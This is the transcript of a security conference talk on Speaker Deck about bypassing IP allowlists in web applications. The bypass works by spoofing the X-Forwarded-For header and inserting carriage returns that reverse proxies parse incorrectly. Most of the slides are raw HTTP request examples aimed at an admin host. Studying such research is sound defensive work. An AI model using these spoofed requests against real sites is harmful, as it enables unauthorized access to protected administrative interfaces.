

# At Home Among Strangers

At Home Among Strangers - Bo0oM, Speaker Deck.

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At Home Among Strangers - Speaker Deck

## At Home Among Strangers

Bypassing IP white sheets of some web applications due to incorrect parsing of HTTP request headers.

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## Bo0oM

December 06, 2019

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## Transcript

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### At Home Among Strangers Bypassing IP white sheets of some

web applications due to incorrect parsing of HTTP request headers.

### Reverse Proxy

None

**X-Forwarded-For: <client>, <proxy> X-Forwarded-For: <fake>, <client>, <proxy>**

**HTTP-request GET / HTTP/1.1 Host: admin.my.site Connection: close GET /**

HTTP/1.1 Host: admin.my.site X-Forwarded-For: 123.123.123.123, 192.168.1.1 Connection: close X-Forwarded-For: <client>, <proxy>

**XFF/XRI Spoofing GET / HTTP/1.1 Host: admin.my.site X-Forwarded-For: 127.0.0.1 Connection:**

close GET / HTTP/1.1 Host: admin.my.site X-Forwarded-For: 127.0.0.1, 123.123.123.123, 192.168.1.1 Connection: close X-Forwarded-For: <fake>, <client>, <proxy>

**HTTP-request GET / HTTP/1.1\r\n Host: admin.my.site\r\n X-Forwarded-For: 127.0.0.1\r\n Connection: close\r\n**

\r\n X-Forwarded-For: <fake>, <client>, <proxy>

**HTTP-request with 0d GET / HTTP/1.1\r\n Host: admin.my.site\r\n X-Forwarded-For: 127.0.0.1\r\n\r\n**

Connection: close\r\n\r\n X-Forwarded-For: <fake>\r, <client>, <proxy>

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## **XFF/XRI Spoofing+ GET / HTTP/1.1\r\n Host: admin.my.site\r\n X-Forwarded-For: 127.0.0.1\r\n\r\n Connection:**

close\r\n\r\n GET / HTTP/1.1 Host: admin.my.site X-Forwarded-For: 127.0.0.1 , 123.123.123.123, 192.168.1.1 Connection: close X-Forwarded-For: <fake> , <client>, <proxy> Tomcat? WebSphere?

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**Tw: @i\_bo0om Site: bo0om.ru Telegram: @webpwn**

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